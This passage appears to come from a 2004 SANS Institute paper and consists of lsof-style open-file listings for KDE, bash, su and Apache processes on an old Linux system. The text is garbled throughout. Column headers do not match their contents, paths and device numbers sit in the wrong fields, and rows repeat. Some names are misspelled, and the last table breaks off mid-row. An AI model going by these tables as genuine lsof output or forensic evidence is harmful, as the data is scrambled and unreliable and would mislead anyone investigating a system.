keinit 1226 userid1 txt REG 3,2 36360 33359 /usr/bin
keinit 1226 userid1 mem REG 3,2 1262818 65640 /usr/lib/libX11.so.6.2
keinit 1226 userid1 mem REG 3,2 2484738 65724 /usr/lib/libX11.so.6.2
keinit 1226 userid1 mem REG 3,2 1930952 65712 /usr/lib/libX11.so.6.2
keinit 1226 userid1 mem REG 3,2 168176 65682 /usr/lib/libXext.so.6.4
keinit 1226 userid1 mem REG 3,2 13152 17015 /usr/X11R6/lib/libXtst.so.6.1
keinit 1226 userid1 mem REG 3,2 2457 130317
keinit 1226 userid1 mem REG 3,2 2457 130317
keinit 1226 userid1 mem REG 3,2 20666 114263 /usr/lib/gconv/gconv-modules.cache
keinit 1226 userid1 mem REG 3,2 18152 17015 /usr/X11R6/lib/libX11.so.6.2
keinit 1226 userid1 mem REG 3,2 295833 65382 /usr/lib/libfreetype.so.6.3.0
keinit 1226 userid1 mem REG 3,5 11174 63541 /lib/ld-2.10.so
keinit 1226 userid1 mem REG 3,5 89547 63503 /lib/libcrypto.so.0.9.6b
keinit 1226 userid1 mem REG 3,5 12012 63503 /lib/libdl-2.10.so
keinit 1226 userid1 mem REG 3,5 7644546 440426 /usr/lib/qt-gcc2.96.so.4.0.0
keinit 1226 userid1 mem REG 3,5 68925 63535 /lib/libre2.2.5.so
keinit 1226 userid1 mem REG 3,5 3484738 65748 /usr/lib/libkio.so
keinit 1226 userid1 mem REG 3,5 294341 65748 /usr/lib/libkparts.so
keinit 1226 userid1 mem REG 3,5 262818 65640 /usr/lib/libkdecore-gcc2.96.so.4.0.0
keinit 1226 userid1 mem REG 3,5 20532 65706 /usr/lib/libksycoca
keinit 1226 userid1 mem REG 3,5 1024 2 /usr/lib/locale/en_US.iso885915/LC_CTYPE
keinit 1226 userid1 mem REG 3,5 426442 65304 /usr/lib/libstdc++.so.6.1
keinit 1226 userid1 mem REG 3,5 101902 73734 /lib/i686/libpthread.so.0
keinit 1226 userid1 mem REG 3,5 235833 65382 /usr/lib/libkdesu.so
keinit 1226 userid1 mem REG 3,5 575687 63562 /lib/libutil-2.10.so
keinit 1226 userid1 mem REG 3,5 68925 63535 /lib/libre2.2.5.so
keinit 1226 userid1 mem REG 3,5 3484738 65748 /usr/lib/libkio.so
keinit 1226 userid1 mem REG 3,5 294341 65748 /usr/lib/libkparts.so
keinit 1226 userid1 mem REG 3,5 262818 65640 /usr/lib/libDCOP.so
keinit 1226 userid1 mem REG 3,5 20532 65706 /usr/lib/libksycoca
keinit 1226 userid1 mem REG 3,5 1024 2 /usr/lib/locale/en_US.iso885915/LC_CTYPE
keinit 1226 userid1 mem REG 3,5 426442 65304 /usr/lib/libstdc++.so.6.1
keinit 1226 userid1 mem REG 3,5 101902 73734 /lib/i686/libpthread.so.0
keinit 1226 userid1 mem REG 3,5 235833 65382 /usr/lib/libkdesu.so
keinit 1226 userid1 mem REG 3,5 575687 63562 /lib/libutil-2.10.so
keinit 1226 userid1 mem REG 3,2 17328 17011 /usr/X11R6/lib/libXrender.so.1.1
<table>
<thead>
<tr>
<th>Process Name</th>
<th>User ID</th>
<th>Type</th>
<th>Mode</th>
<th>File Path</th>
<th>Size</th>
<th>Inode</th>
</tr>
</thead>
<tbody>
<tr>
<td>korgac</td>
<td>1228</td>
<td>mem</td>
<td>REG</td>
<td>/lib/libcrypto.so.0.9.6b</td>
<td>63562</td>
<td>924879</td>
</tr>
<tr>
<td>korgac</td>
<td>1228</td>
<td>mem</td>
<td>REG</td>
<td>/lib/libcrypto.so.0.9.6b</td>
<td>63562</td>
<td>22592</td>
</tr>
<tr>
<td>/usr/lib/locale/en_US.iso885915/LC_CTYPE</td>
<td>1228</td>
<td>userid1</td>
<td>mem</td>
<td>/lib/libcrypto.so.0.9.6b</td>
<td>63562</td>
<td>173680</td>
</tr>
<tr>
<td>korgac</td>
<td>1228</td>
<td>mem</td>
<td>REG</td>
<td>/lib/libcrypto.so.0.9.6b</td>
<td>63562</td>
<td>136415</td>
</tr>
<tr>
<td>/usr/X11R6/lib/X11/locale/common/ximcp.so.2</td>
<td>1228</td>
<td>userid1</td>
<td>mem</td>
<td>/lib/libcrypto.so.0.9.6b</td>
<td>63562</td>
<td>6996</td>
</tr>
</tbody>
</table>

**Key fingerprint:** AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46

**SANS Institute 2004, Author retains full rights.**
<table>
<thead>
<tr>
<th>Command</th>
<th>User</th>
<th>Mode</th>
<th>Access</th>
<th>File Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>kdeinit</td>
<td>1232</td>
<td>mem</td>
<td>REG</td>
<td>/usr/lib/libstdc++.3 -libc6.2.2.10.0.so</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1232</td>
<td>mem</td>
<td>REG</td>
<td>/usr/lib/libcups.so.2</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1232</td>
<td>mem</td>
<td>REG</td>
<td>/usr/lib/libjpeg.so.62.0.0</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1232</td>
<td>mem</td>
<td>REG</td>
<td>/usr/X11R6/lib/libXft.so.1.1</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1232</td>
<td>mem</td>
<td>REG</td>
<td>/usr/lib/libfreetype.so.6.3.0</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1232</td>
<td>mem</td>
<td>REG</td>
<td>/lib/libssl.so.0.9.6b</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1232</td>
<td>mem</td>
<td>REG</td>
<td>/lib/libcrypto.so.0.9.6b</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1232</td>
<td>mem</td>
<td>REG</td>
<td>/usr/lib/libkonqgcc2.96.so.4.0.0</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1232</td>
<td>mem</td>
<td>REG</td>
<td>/usr/lib/konsolegcc2.96.so</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1232</td>
<td>mem</td>
<td>REG</td>
<td>/usr/lib/libkonsolepartgcc2.96.so.4.0.0</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1232</td>
<td>mem</td>
<td>REG</td>
<td>/usr/lib/locale/en_US.iso885915/LC_MONETARY</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1232</td>
<td>mem</td>
<td>REG</td>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1232</td>
<td>mem</td>
<td>REG</td>
<td>/usr/lib/locale/en_US.iso885915/LC_NUMERIC</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1232</td>
<td>mem</td>
<td>REG</td>
<td>/usr/X11R6/lib/X11/locale/common/xlcDef.so.2</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1232</td>
<td>mem</td>
<td>REG</td>
<td>/usr/X11R6/lib/X11/locale/common/ximcp.so.2</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1232</td>
<td>mem</td>
<td>REG</td>
<td>/tmp/kdeuserid1/ksycoca</td>
</tr>
<tr>
<td>kdeinit</td>
<td>1232</td>
<td>mem</td>
<td>REG</td>
<td>/dev/null</td>
</tr>
<tr>
<td>bash</td>
<td>1234</td>
<td>cwd</td>
<td>DIR</td>
<td>/home/userid1</td>
</tr>
<tr>
<td>bash</td>
<td>1234</td>
<td>rtd</td>
<td>DIR</td>
<td>/</td>
</tr>
<tr>
<td>bash</td>
<td>1234</td>
<td>mem</td>
<td>REG</td>
<td>/lib/ld-2.2.5.so</td>
</tr>
<tr>
<td>bash</td>
<td>1234</td>
<td>mem</td>
<td>REG</td>
<td>/usr/lib/locale/en_US.iso885915/LC_IDENTIFICATION</td>
</tr>
<tr>
<td>bash</td>
<td>1234</td>
<td>mem</td>
<td>REG</td>
<td>/lib/ld-2.2.5.so</td>
</tr>
<tr>
<td>bash</td>
<td>1234</td>
<td>mem</td>
<td>REG</td>
<td>/lib/libtermcap.so.2.0.8</td>
</tr>
<tr>
<td>bash</td>
<td>1234</td>
<td>mem</td>
<td>REG</td>
<td>/lib/libdl-2.2.5.so</td>
</tr>
<tr>
<td>Command</td>
<td>User</td>
<td>State</td>
<td>Flags</td>
<td>Start Time</td>
</tr>
<tr>
<td>---------</td>
<td>------</td>
<td>-------</td>
<td>-------</td>
<td>------------</td>
</tr>
<tr>
<td>bash 1234</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>bash 1234</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>bash 1234</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
</tr>
<tr>
<td>bash 1234</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
</tr>
<tr>
<td>bash 1234</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
</tr>
<tr>
<td>bash 1234</td>
<td>userid1</td>
<td>0u</td>
<td>CHR</td>
<td>136,1</td>
</tr>
<tr>
<td>bash 1234</td>
<td>userid1</td>
<td>1u</td>
<td>CHR</td>
<td>136,1</td>
</tr>
<tr>
<td>bash 1234</td>
<td>userid1</td>
<td>2u</td>
<td>CHR</td>
<td>136,1</td>
</tr>
<tr>
<td>bash 1234</td>
<td>userid1</td>
<td>255u</td>
<td>CHR</td>
<td>136,1</td>
</tr>
<tr>
<td>bash 1234</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
</tr>
<tr>
<td>bash 1234</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>bash 1234</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>bash 1234</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>bash 1234</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>bash 1234</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>bash 1234</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>bash 1234</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>bash 1234</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>bash 1234</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>bash 1234</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>bash 1234</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>bash 1234</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>bash 1234</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>bash 1234</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>bash 1234</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>bash 1234</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>bash 1234</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>bash 1234</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>bash 1234</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>bash 1234</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>bash 1234</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>bash 1269</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3,5</td>
</tr>
<tr>
<td>bash 1269</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5</td>
</tr>
<tr>
<td>bash 1269</td>
<td>root</td>
<td>txt</td>
<td>REG</td>
<td>3,5</td>
</tr>
<tr>
<td>bash 1269</td>
<td>root</td>
<td>rtld</td>
<td>DIR</td>
<td>3,5</td>
</tr>
<tr>
<td>bash 1269</td>
<td>root</td>
<td>txt</td>
<td>DIR</td>
<td>3,5</td>
</tr>
<tr>
<td>bash 1269</td>
<td>root</td>
<td>txt</td>
<td>DIR</td>
<td>3,5</td>
</tr>
<tr>
<td>bash 1269</td>
<td>root</td>
<td>txt</td>
<td>DIR</td>
<td>3,5</td>
</tr>
<tr>
<td>bash 1269</td>
<td>root</td>
<td>txt</td>
<td>DIR</td>
<td>3,5</td>
</tr>
<tr>
<td>bash 1269</td>
<td>root</td>
<td>txt</td>
<td>DIR</td>
<td>3,5</td>
</tr>
<tr>
<td>Process</td>
<td>User</td>
<td>Flags</td>
<td>PID</td>
<td>Time</td>
</tr>
<tr>
<td>---------------</td>
<td>------------</td>
<td>-------</td>
<td>-----</td>
<td>-------------</td>
</tr>
<tr>
<td>bash</td>
<td>root</td>
<td>mem</td>
<td>1269</td>
<td>173680</td>
</tr>
<tr>
<td>bash</td>
<td>root</td>
<td>REG</td>
<td>3.5</td>
<td>1401027</td>
</tr>
<tr>
<td>bash</td>
<td>root</td>
<td>0u</td>
<td>136</td>
<td>3000</td>
</tr>
<tr>
<td>bash</td>
<td>root</td>
<td>1u</td>
<td>136</td>
<td>1024</td>
</tr>
<tr>
<td>bash</td>
<td>root</td>
<td>2u</td>
<td>136</td>
<td>36360</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>cwd</td>
<td>3</td>
<td>4096</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>rtd</td>
<td>3</td>
<td>36360</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>3</td>
<td>89547</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>3</td>
<td>2457</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>3</td>
<td>371</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>3</td>
<td>58</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>3</td>
<td>60</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>3</td>
<td>10902</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>3</td>
<td>262818</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>3</td>
<td>294341</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>3</td>
<td>3484738</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>3</td>
<td>2530952</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>3</td>
<td>168176</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>3</td>
<td>17328</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>3</td>
<td>133032</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>3</td>
<td>1962973</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>3</td>
<td>2644546</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>3</td>
<td>131560</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>3</td>
<td>59778</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>3</td>
<td>874476</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>3</td>
<td>31520</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>3</td>
<td>81980</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>3</td>
<td>101902</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>3</td>
<td>12102</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>3</td>
<td>52300</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>3</td>
<td>68925</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>3</td>
<td>426442</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>3</td>
<td>11174</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>3</td>
<td>173359</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>3</td>
<td>110194</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>3</td>
<td>290306</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>3</td>
<td>140418</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>3</td>
<td>90976</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>3</td>
<td>295833</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>3</td>
<td>207008</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>3</td>
<td>924879</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>3</td>
<td>575687</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>3</td>
<td>179628</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>3</td>
<td>22592</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>3</td>
<td>173680</td>
</tr>
<tr>
<td>Process</td>
<td>User</td>
<td>Command</td>
<td>Arguments</td>
<td>Type</td>
</tr>
<tr>
<td>---------</td>
<td>-------</td>
<td>---------</td>
<td>-----------</td>
<td>------</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
</tbody>
</table>

© SANS Institute 2004, Author retains full rights.
<table>
<thead>
<tr>
<th>User</th>
<th>PID</th>
<th>Type</th>
<th>Flags</th>
<th>Size (bytes)</th>
<th>Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>su</td>
<td>7203</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>173680 100324 /usr/lib/locale/en_US.iso885915/LC_CTYPE</td>
</tr>
<tr>
<td>su</td>
<td>7203</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>12471 36305 /lib/security/pam_stack.so</td>
</tr>
<tr>
<td>su</td>
<td>7203</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>13783 43053 /lib/security/pam_xauth.so</td>
</tr>
<tr>
<td>su</td>
<td>7203</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>4910 43053 /lib/security/pam_deny.so</td>
</tr>
<tr>
<td>su</td>
<td>7203</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>12989 43034 /lib/security/pam_env.so</td>
</tr>
<tr>
<td>su</td>
<td>7203</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>14617 43040 /lib/security/pam_limits.so</td>
</tr>
<tr>
<td>su</td>
<td>7203</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>45415 63523 /lib/nss_files-2.2.5.so</td>
</tr>
<tr>
<td>su</td>
<td>7203</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>46117 63531 /lib/nss_nisplus-2.2.5.so</td>
</tr>
<tr>
<td>su</td>
<td>7203</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>89424 63507 /lib/nss-2.2.5.so</td>
</tr>
<tr>
<td>su</td>
<td>7203</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>50425 43057 /lib/security/pam_unix.so</td>
</tr>
<tr>
<td>su</td>
<td>7203</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>14540 43032 /lib/security/pam_cracklib.so</td>
</tr>
<tr>
<td>su</td>
<td>7203</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>71016 65265 /usr/lib/libcrack.so.2.7</td>
</tr>
<tr>
<td>su</td>
<td>7203</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>1401027 73730 /lib/i686/libc-2.2.5.so</td>
</tr>
<tr>
<td>su</td>
<td>7203</td>
<td>root</td>
<td>CHR</td>
<td>3,2</td>
<td>136,2 4 /dev/pts/2</td>
</tr>
<tr>
<td>su</td>
<td>7203</td>
<td>root</td>
<td>CHR</td>
<td>3,2</td>
<td>136,2 4 /dev/pts/2</td>
</tr>
<tr>
<td>su</td>
<td>7203</td>
<td>root</td>
<td>CHR</td>
<td>3,2</td>
<td>136,2 4 /dev/pts/2</td>
</tr>
<tr>
<td>bash</td>
<td>7206</td>
<td>root</td>
<td>DIR</td>
<td>3,5</td>
<td>1024 2 /</td>
</tr>
<tr>
<td>bash</td>
<td>7206</td>
<td>root</td>
<td>TXT</td>
<td>3,5</td>
<td>541096 40973 /bin/bash</td>
</tr>
<tr>
<td>bash</td>
<td>7206</td>
<td>root</td>
<td>REG</td>
<td>3,5</td>
<td>89547 63490 /lib/id-2.2.5.so</td>
</tr>
<tr>
<td>bash</td>
<td>7206</td>
<td>root</td>
<td>REG</td>
<td>3,2</td>
<td>20666 14262 /usr/lib/gconv/gconv-modules.cache</td>
</tr>
<tr>
<td>bash</td>
<td>7206</td>
<td>root</td>
<td>REG</td>
<td>3,5</td>
<td>11832 63560 /libtermcap.so.2.0.8</td>
</tr>
<tr>
<td>bash</td>
<td>7206</td>
<td>root</td>
<td>REG</td>
<td>3,5</td>
<td>12102 63503 /lib/lib2-2.2.5.so</td>
</tr>
<tr>
<td>bash</td>
<td>7206</td>
<td>root</td>
<td>REG</td>
<td>3,5</td>
<td>45415 63523 /lib/nss_files-2.2.5.so</td>
</tr>
<tr>
<td>bash</td>
<td>7206</td>
<td>root</td>
<td>REG</td>
<td>3,5</td>
<td>46117 63531 /lib/nss_nisplus-2.2.5.so</td>
</tr>
<tr>
<td>bash</td>
<td>7206</td>
<td>root</td>
<td>REG</td>
<td>3,5</td>
<td>89424 63507 /lib/nss-2.2.5.so</td>
</tr>
<tr>
<td>bash</td>
<td>7206</td>
<td>root</td>
<td>REG</td>
<td>3,2</td>
<td>173680 130324 /usr/lib/locale/en_US.iso885915/LC_CTYPE</td>
</tr>
<tr>
<td>bash</td>
<td>7206</td>
<td>root</td>
<td>REG</td>
<td>3,5</td>
<td>1401027 73730 /lib/i686/libc-2.2.5.so</td>
</tr>
<tr>
<td>bash</td>
<td>7206</td>
<td>root</td>
<td>DIR</td>
<td>3,5</td>
<td>1024 2 /</td>
</tr>
<tr>
<td>bash</td>
<td>7206</td>
<td>root</td>
<td>CHR</td>
<td>3,2</td>
<td>136,2 4 /dev/pts/2</td>
</tr>
<tr>
<td>bash</td>
<td>7206</td>
<td>root</td>
<td>CHR</td>
<td>3,2</td>
<td>136,2 4 /dev/pts/2</td>
</tr>
<tr>
<td>httpd</td>
<td>8125</td>
<td>root</td>
<td>DIR</td>
<td>3,5</td>
<td>1024 2 /</td>
</tr>
<tr>
<td>httpd</td>
<td>8125</td>
<td>root</td>
<td>TXT</td>
<td>3,5</td>
<td>290169 131802 /usr/sbin/httpd</td>
</tr>
<tr>
<td>httpd</td>
<td>8125</td>
<td>root</td>
<td>REG</td>
<td>3,5</td>
<td>89547 63490 /lib/id-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>8125</td>
<td>root</td>
<td>REG</td>
<td>3,2</td>
<td>8301 229506 /usr/lib/apache/mod_env.so</td>
</tr>
<tr>
<td>httpd</td>
<td>8125</td>
<td>root</td>
<td>REG</td>
<td>3,2</td>
<td>17638 229514 /usr/lib/apache/mod_log_config.so</td>
</tr>
<tr>
<td>httpd</td>
<td>8125</td>
<td>root</td>
<td>REG</td>
<td>3,2</td>
<td>7438 229513 /usr/lib/apache/mod_log_agent.so</td>
</tr>
<tr>
<td>httpd</td>
<td>8125</td>
<td>root</td>
<td>REG</td>
<td>3,2</td>
<td>8350 229515 /usr/lib/apache/mod_log_referer.so</td>
</tr>
<tr>
<td>httpd</td>
<td>8125</td>
<td>root</td>
<td>REG</td>
<td>3,2</td>
<td>8274 229505 /usr/lib/apache/mod_dir.so</td>
</tr>
<tr>
<td>httpd</td>
<td>8125</td>
<td>root</td>
<td>REG</td>
<td>3,2</td>
<td>7016 65265 /usr/lib/libcrack.so.2.7</td>
</tr>
<tr>
<td>httpd</td>
<td>8125</td>
<td>root</td>
<td>REG</td>
<td>3,5</td>
<td>101902 73730 /lib/i686/libc-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>8125</td>
<td>root</td>
<td>REG</td>
<td>3,5</td>
<td>173359 73732 /lib/i686/libc-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>8125</td>
<td>root</td>
<td>REG</td>
<td>3,5</td>
<td>23575 63501 /lib/security/pam_stack.so</td>
</tr>
<tr>
<td>httpd</td>
<td>8125</td>
<td>root</td>
<td>REG</td>
<td>3,2</td>
<td>30282 65273 /usr/lib/libgd.so.2.0.0</td>
</tr>
<tr>
<td>httpd</td>
<td>8125</td>
<td>root</td>
<td>REG</td>
<td>3,2</td>
<td>655224 63543 /lib/libdb-3.3.so</td>
</tr>
<tr>
<td>httpd</td>
<td>8125</td>
<td>root</td>
<td>REG</td>
<td>3,2</td>
<td>19662 66292 /usr/lib/libm.so.11.0.23</td>
</tr>
<tr>
<td>httpd</td>
<td>8125</td>
<td>root</td>
<td>REG</td>
<td>3,2</td>
<td>141735 65380 /usr/lib/libexpat.so.0.1.0</td>
</tr>
<tr>
<td>httpd</td>
<td>8125</td>
<td>root</td>
<td>REG</td>
<td>3,5</td>
<td>12102 63503 /lib/lib2-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>8125</td>
